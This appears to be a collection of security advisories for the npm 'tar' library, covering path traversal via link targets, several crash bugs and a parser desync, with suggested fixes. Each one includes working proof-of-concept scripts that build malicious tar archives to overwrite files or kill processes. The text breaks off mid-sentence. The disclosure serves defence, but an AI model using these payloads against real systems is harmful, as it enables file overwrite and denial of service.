* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tar:\<\=7.5.2:*:*:*:*:*:*:*

GHSA-9ppj-qmqm-q256 (NPM)  

### Summary
`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.

### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.

What happens with `linkpath: "C:../../../target.txt"`:
1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.
4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).

This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.

### PoC
Tested on Arch Linux with `tar@7.5.10`.

PoC script (`poc.cjs`):

```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```

Run:

```bash
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
```

Observed output:

```text
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt
```

`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.

### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tar:\<\=7.5.10:*:*:*:*:*:*:*

GHSA-qffp-2rhf-9h96 (NPM)  

### Summary
`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.

### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.

What happens with `linkpath: "C:../target.txt"`:
1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.

### PoC
Tested on Arch Linux with `tar@7.5.9`.

PoC script (`poc.cjs`):

```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```

Run:

```bash
cd test-workspace
node poc.cjs && ls -l ../target.txt
```

Observed output:

```text
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt
```

`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.

### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-59 Improper Link Resolution Before File Access ('Link Following')

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tar:\<\=7.5.9:*:*:*:*:*:*:*

GHSA-gvwx-54wh-qm9j (NPM)  

## Summary

`node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer's `await/try-catch` around `tar.x()` — it surfaces as `uncaughtException` and terminates the process.

This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern.

A secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.

---

## Root cause

### Vulnerable sink — `src/pax.ts:157-183`

PAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes:

```ts
// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}
```

The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between `=` and `\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`.

### Correctly-patched cousin sink — `src/parse.ts:375-388`

The equivalent code path for GNU L/K long-headers **does** strip NUL bytes:

```ts
// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}
```

The `parse.ts` fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard.

### Downstream blast radius

`entry.path` and `entry.linkpath` are consumed in:
- `src/unpack.ts` → `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir`
- `src/list.ts` (no crash — listing tolerates NUL in strings)
- Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path`

The crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user's `await tar.x(...)` Promise rejection boundary.

---

## Proof of Concept

### Artifacts
- `poc-null-byte-crash.tar` — 3072 bytes — PAX `path=visible.txt\x00hidden.txt`
- `poc-null-linkpath-crash.tar` — 2560 bytes — PAX `linkpath=target\x00garbage` (symlink target sink)
- `poc1-pax-prefix.py` — minimal PAX-header builder (Python 3, no deps)

### Tarball generator (minimal repro — Python 3)

```python
#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)
```

### Reproduction

```bash
# 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

# 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16

# 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'
```

### Observed output (verified 2026-06-23 against `tar@7.5.16`)

```
UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99
```

The exception bypasses the user's `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits.

---

## Impact

### Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:

- npm registry tarball ingestion and downstream mirrors
- GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains)
- Container image build pipelines that unpack layer tarballs through node tooling
- Backup-restore services accepting user uploads
- CI artifact processors and badge generators
- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
- Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

```js
try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}
```

does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.

### Secondary: parser-differential validator bypass (CWE-436)

| Tool                       | Result for `path=visible.txt\x00hidden.txt` |
|----------------------------|----------------------------------------------|
| GNU tar (`tar -tvf`)       | Lists `visible.txt` (truncated at NUL)      |
| `bsdtar -tvf`              | Lists `visible.txt` (truncated at NUL)      |
| Python `tarfile.list()`    | Lists `visible.txt\x00hidden.txt` (raw)     |
| node-tar `tar.t({file})`   | Emits raw NUL-bearing path (no crash)       |
| node-tar `tar.x({file})`   | **Crashes** (uncaught throw)                |

A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.

---

## Suggested patch

Match the long-name handler in `parse.ts` — strip everything from the first NUL onward in `parseKVLine` value parsing:

```diff
--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)
```

This matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change.

A defense-in-depth follow-up: add an explicit `assert(!v.includes('\0'))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren't* path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL).
CWE-248 Uncaught Exception

CVSSv3:
  • Base Score: MEDIUM (5.300000190734863)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tar:\<\=7.5.16:*:*:*:*:*:*:*

GHSA-r292-9mhp-454m (NPM)  

## Summary
`node-tar` (npm `tar`) contains an uncontrolled-recursion stack-exhaustion DoS in the internal `mapHas` helper used by `filesFilter`. When a consumer calls `tar.t(...)` or `tar.x(...)` with a non-empty member-selection list, node-tar installs a filter that closes over the recursive `mapHas` (`src/list.ts:33-44`). `mapHas` walks an entry path upward one `path.dirname()` call per recursion **with no segment cap**. A single crafted tar with a GNU-`L` (or PAX-`x`) long-path header can deliver a path of tens of thousands of `/`-separated segments (up to `maxMetaEntrySize` = 1 MiB). The recursion overflows the call stack, throwing an uncatchable `RangeError` that terminates the Node process on async/streaming consumers.

## Root Cause
`filesFilter` (`src/list.ts:27-51`) is installed whenever a caller passes a member-selection list (`src/list.ts:119-122`, `src/extract.ts:55-57`). Its filter is invoked at `src/parse.ts:253` (`entry.ignore = entry.ignore || !this.filter(entry.path, entry)`) inside `Parser[CONSUMEHEADER]` — and crucially **outside** the only try/catch in that method (which wraps `new Header` at `src/parse.ts:179-183`). `mapHas` recurses once per path segment with no depth limit. The `Unpack` `maxDepth` guard (`src/unpack.ts:342`, in `[CHECKPATH]`) only runs on the `'entry'` event, which fires *after* `CONSUMEHEADER` has already invoked the filter — so the stack overflows before any depth guard executes. `tar.t` (list) has no `maxDepth` at all.

## Impact
Unauthenticated, remotely-triggerable denial of service: a ~188-byte gzip (≈26 KB tar) crashes any service that lists or extracts *selected members* from an untrusted archive (package registries, CI artifact/cache restore, upload processors). On async (`await tar.t(...)`/`tar.x(...)`) and streaming/`pipe` consumers the `RangeError` escapes the promise as an `uncaughtException` and terminates the process — standard defensive `try/catch` around the async call does NOT prevent it. (The synchronous API is catchable; the async/stream paths — the dominant server pattern — are not.)

## Proof of Concept
```js
// Build a tar whose single entry has a GNU-L long path of ~12,000 "a/" segments (~26 KB),
// gzip it (≈188 bytes), then have a consumer list/extract with member selection:
const tar = require('tar');
await tar.t({ file: 'evil.tar.gz', gzip: true }, ['some-member']); // -> RangeError, process exit
```
Empirically reproduced on Node v24.18.0 against built `dist/commonjs` of node-tar 7.5.20: 188-byte gzip → 26,112-byte tar (12,000 segments) → uncaught `RangeError: Maximum call stack size exceeded` → process exit. A control run with no member-selection list (filter not installed) parses cleanly (exit 0), isolating `mapHas` as the sole cause.

## Attack Chain
1. **Entry.** Attacker crafts a tar with a GNU `L` (or PAX `x`) long-path header whose body is `"a/"`×~12000 (~26 KB), followed by a normal file entry.
   - **Guard:** `maxMetaEntrySize` caps the meta body at 1 MiB (`src/parse.ts:241`).
   - **Bypass proof:** 26 KB ≪ 1 MiB → accepted (verified: 26 KB archive parsed up to the filter).
2. **Trigger.** Victim service calls `tar.t({file},[sel])` or `tar.x({file,cwd},[sel])` (member selection — a documented, common API).
   - **Guard:** `Unpack.maxDepth` (default 1024) at `src/unpack.ts:342`; decompression-ratio guard.
   - **Bypass proof:** `maxDepth` lives in `[CHECKPATH]` on the `'entry'` event, which fires *after* `CONSUMEHEADER`'s filter call — the crash occurs before it (extract exits 1 with default maxDepth). `tar.t` has no maxDepth. Ratio is ~139× (trivial); no total-bytes cap applies to the uncompressed meta body.
3. **Sink.** `this.filter(entry.path)` → `mapHas` recurses once per `/` segment (`src/list.ts:39`).
   - **Guard:** try/catch in `CONSUMEHEADER`.
   - **Bypass proof:** the only try/catch wraps `new Header` (`src/parse.ts:179-183`); the `this.filter(...)` call at `src/parse.ts:253` is outside it. The `RangeError` propagates out of the stream write/`'data'` path → uncaught exception (verified: `process.on('uncaughtException')` fires; async `await`+`try/catch` does NOT intercept).
4. **Impact.** Node process termination; a 188-byte gzip crashes any consumer that lists/extracts selected members from untrusted archives.

## Bypass Evidence
- `mapHas` recursion is member-name-independent: the crash fires even when the requested members do not match the malicious entry path — the attacker only needs the consumer to *use* member selection.
- Standalone `mapHas` overflows at 20k–30k segments; on the real streaming path (atop `write → CONSUMECHUNK → CONSUMEHEADER → filter`) it crashes at ≤8k segments (finder's ~12k estimate is accurate for the reachable path).
- Control (no member list → no filter) parses cleanly (exit 0), isolating `mapHas`.

## Affected Versions
`<= 7.5.20` (npm `tar`). `mapHas` present verbatim on tag `v7.5.20` (latest GitHub release and npm `dist-tag latest`); no segment/depth cap in `src/list.ts` or the `CONSUMEHEADER` filter path; HEAD == 7.5.20, no unreleased fix.

## Suggested Fix
Rewrite `mapHas` iteratively (walk `dirname` in a `while` loop with a segment/visited cap), or enforce a hard path-segment limit in `Header`/`Parser` independent of `maxMetaEntrySize`, applied before any per-entry filter runs.

## Dedup Note
Distinct from CVE-2024-28863 / GHSA-f5x3-32g6-qm9j "lack of folders depth validation" (that bounds `mkdir` recursion during *extraction* via `maxDepth` in `Unpack[CHECKPATH]` on the `'entry'` event — a different sink, code path, and fix; runs after the filter and does not apply to `tar.t`). Also distinct from the PAX NUL/numeric-path crash advisories (improper-input-to-fs / type confusion, not recursion) and the gzip-bomb advisory (resource exhaustion on disk writes). None touch `list.ts`/`filesFilter`/`mapHas` or require member selection.

---
Reported by **zx (Jace)** — GitHub: @manus-use
CWE-400 Uncontrolled Resource Consumption, CWE-674 Uncontrolled Recursion

CVSSv3:
  • Base Score: MEDIUM (5.300000190734863)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tar:\<\=7.5.20:*:*:*:*:*:*:*

GHSA-w8wr-v893-vjvp (NPM)  

### Summary

A crafted 2.5KB tar archive crashes any Node.js process that extracts it. The PAX header parser coerces all-digit path values to JavaScript numbers, which causes an uncaught TypeError when downstream code calls `.split('/')` on the numeric value. Error handlers and `strict: false` cannot intercept the crash.

### Details

In `pax.ts` line 180, `parseKV` converts PAX values matching `/^[0-9]+$/` to numbers via `+v`. This applies to all fields including `path` and `linkpath`. When a PAX header sets `path` to an all-digit string like `"12345"`, the value becomes the number `12345`.

This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where `normalizeWindowsPath(entry.path).split('/')` throws a TypeError because numbers don't have `.split()`.

The throw is synchronous during event emission and bypasses all error handling:
- `strict: false` does not help
- `'error'` event handlers do not catch it
- `'warn'` handlers do not catch it
- The TypeError propagates through the event emitter stack as an uncaughtException

Directory, SymbolicLink, and Link type entries reach CHECKPATH and crash. File type entries crash earlier in Header constructor at `this.path.slice(-1)`, but that throw is caught and emitted as a warning only.

### PoC

Create a tar archive with a PAX extended header containing an all-digit path:

```
PAX header body: "18 path=12345\n"
Entry type: Directory (type '5')
```

Extract it:
```js
const tar = require('tar');

// All of these crash with TypeError: t.split is not a function
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' });

// Error handlers don't help:
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false })
  .on('error', (err) => { /* never reached */ })
  .on('warn', (code, msg) => { /* never reached */ });
```

The archive is ~2.5KB. The crash is deterministic on every attempt.

### Impact

Denial of service. Any application or tool that extracts untrusted tar archives crashes from a single small file. This includes npm (which uses node-tar to extract packages), CI/CD pipelines, file upload processors, and backup tools. The crash cannot be caught by application-level error handling.
CWE-704 Incorrect Type Conversion or Cast

CVSSv3:
  • Base Score: MEDIUM (5.300000190734863)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tar:\<\=7.5.17:*:*:*:*:*:*:*

GHSA-vmf3-w455-68vh (NPM)  

### Summary

`tar` (node-tar) applies a PAX extended header's `size=` record (and other PAX
overrides) to the **next header entry of any type**, including intermediary
metadata headers such as a GNU long-name (`L`) or long-link (`K`) entry. Per
POSIX pax, a PAX extended header (`x`) describes the *next file entry*, not the
intermediary extension headers that may sit between the `x` header and the file
it annotates. Because node-tar lets the PAX `size` override the byte length of
an intervening `L`/`K`/`x` header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python `tarfile`, and the now-fixed `tar-rs` /
`astral-tokio-tar`).

The result is a tar parser **interpretation differential** (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs `npm`'s own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.

This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (`tar-rs` / `astral-tokio-tar`); node-tar carries the equivalent
defect and has no equivalent guard.

### Impact

- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as
  the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and
  GHSA-fp55-jw48-c537).
- A crafted archive can present one logical member list to a tool that lists or
  scans with node-tar and a different member list to GNU tar / libarchive /
  Python tarfile (and vice versa). This lets a malicious file be hidden from a
  scanner that uses a different parser than the eventual extractor, or hidden
  from node-tar-based inspection while still landing on disk via a system `tar`.
- No authentication is required; the only precondition is that a victim parses
  an attacker-supplied tar with node-tar. Tar archives are routinely fetched
  from untrusted sources (package registries, user uploads, CI artifacts,
  container layers).
- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct
  RCE; it is a building block for supply-chain / scanner-evasion attacks rather
  than a standalone code-execution primitive.

### Vulnerable code (file:line)

`src/header.ts` (compiled to `dist/esm/header.js:49` and
`dist/commonjs/header.js:85` in the published `tar@7.5.15`):

```ts
// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)
```

`ex` is the currently-accumulated PAX **local** extended header and `gex` the
PAX **global** header. The `size` override from `ex`/`gex` is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real *file* entry rather than an intermediary
extension header.

`src/parse.ts`, `[CONSUMEHEADER]` constructs the next header with the current
`EX`/`GEX` applied:

```ts
const header = new Header(chunk, position, this[EX], this[GEX])
```

and later branches on whether that header is a metadata entry. `this[EX]` is
cleared only in the non-meta (real file) branch:

```ts
if (entry.meta) {
  // L / K / x / g metadata entries: this[EX] is left intact here
  if (entry.size > this.maxMetaEntrySize) {
    entry.ignore = true
    this[STATE] = 'ignore'
    entry.resume()
  } else if (entry.size > 0) {
    this[META] = ''
    entry.on('data', c => (this[META] += c))
    this[STATE] = 'meta'
  }
} else {
  this[EX] = undefined   // EX cleared only once a real file entry is reached
}
```

When the stream is ordered `x (PAX, size=N) -> L (GNU long-name) -> file`, the
`L` header is constructed with `this[EX]` still set, so its `size`/`remain`
becomes `N` instead of the `L` payload's true length. node-tar then consumes `N`
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX `size` only to the
following *file* entry, so they stay synchronized.

The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to **not** apply PAX `size`/overrides when the entry being decoded is itself an
extension header (`L` GNU long-name, `K` GNU long-link, `x` PAX local, `g` PAX
global).

### How input reaches the sink

`tar.list()`, `tar.extract()`/`tar.x()`, and `tar.Parse`/`tar.Unpack` all route
every 512-byte header block through `Header.decode(...)` with the
currently-accumulated `EX`/`GEX`. Any consumer that parses an attacker-supplied
archive — `tar.list`, `tar.extract`, or piping into the streaming `Parser` —
reaches the sink. No options need to be enabled; the default code path is
affected.

### Proof of concept

Archive layout (all standard, GNU-tar-producible blocks):

```
block 0 : x  header  (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x  payload : the single PAX record  "...size=2048\n"
block 2 : L  header  (GNU long-name '././@LongLink'), real size = 13
block 3 : L  payload : "longname.txt\0"      (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)
```

Generator (`make_tar.py`, pure stdlib, no external deps):

```python
def hdr(name, size, typeflag):
    h = bytearray(512); name = name[:100]; h[0:len(name)] = name
    h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
    h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
    h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
    h[148:156] = b' ' * 8
    cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
    return bytes(h)

def pad(d):
    return d + b'\0' * ((512 - len(d) % 512) % 512)

def pax_record(key, val):              # length-prefixed PAX record "LEN key=val\n"
    body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
    while True:
        s = str(n).encode() + body
        if len(s) == n: break
        n = len(s)
    return s

pax = pax_record('size', 2048)         # malicious: claim size=2048 for the "next" entry
out  = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0')        + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0')        + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)
```

A negative-control archive is identical except the PAX record is
`pax_record('comment', 'x')` (no `size=`), written to `pax-control.tar`.

### End-to-end reproduction (against pinned version `tar@7.5.15`, latest release)

Install the published package into a clean project and parse both archives:

```
$ npm init -y >/dev/null && npm install tar@7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);
```

`e2e.mjs`:

```js
import * as tar from 'tar'
async function listEntries(f){
  const got=[], warns=[]
  await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
                   onwarn:(code,_msg)=>warns.push(code) })
  return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL  entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))
```

Verbatim output:

```
=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===

[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
  tar.list() entries : []
  tar.list() warnings: ["TAR_ENTRY_INVALID"]

[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
  tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
  tar.list() warnings: []
```

Reference parsers on the **same** `pax-desync.tar`:

```
$ tar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # GNU tar

$ bsdtar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # libarchive

$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt']                                                      # Python tarfile
```

Interpretation differential: GNU tar, libarchive (bsdtar), and Python `tarfile`
all extract the member `longname.txt` from `pax-desync.tar`, whereas node-tar
`7.5.15` desynchronizes, raises `TAR_ENTRY_INVALID` (checksum failure from
landing mid-stream), and reports **zero** members. The negative control proves
the divergence is caused solely by the PAX `size=` override being applied to the
intermediary `L` header — when the same archive carries a PAX record without
`size=`, node-tar parses it identically to the reference tools
(`longname.txt`, `file_b`).

### Suggested fix

When decoding a header, do not apply PAX `size` (or other PAX overrides) if the
header being decoded is itself an extension header. Concretely, in
`src/parse.ts` clear/ignore `this[EX]` (and `this[GEX]` for `size`) when the
header's type is `ExtendedHeader`, `GlobalExtendedHeader`, `NextFileHasLongPath`
(GNU `L`), or `NextFileHasLongLinkpath` (GNU `K`); equivalently, in
`Header.decode`, gate the `ex?.size ?? gex?.size` override on the decoded type
not being one of those extension types. This mirrors the upstream Rust fix,
which guards `pax_size` with
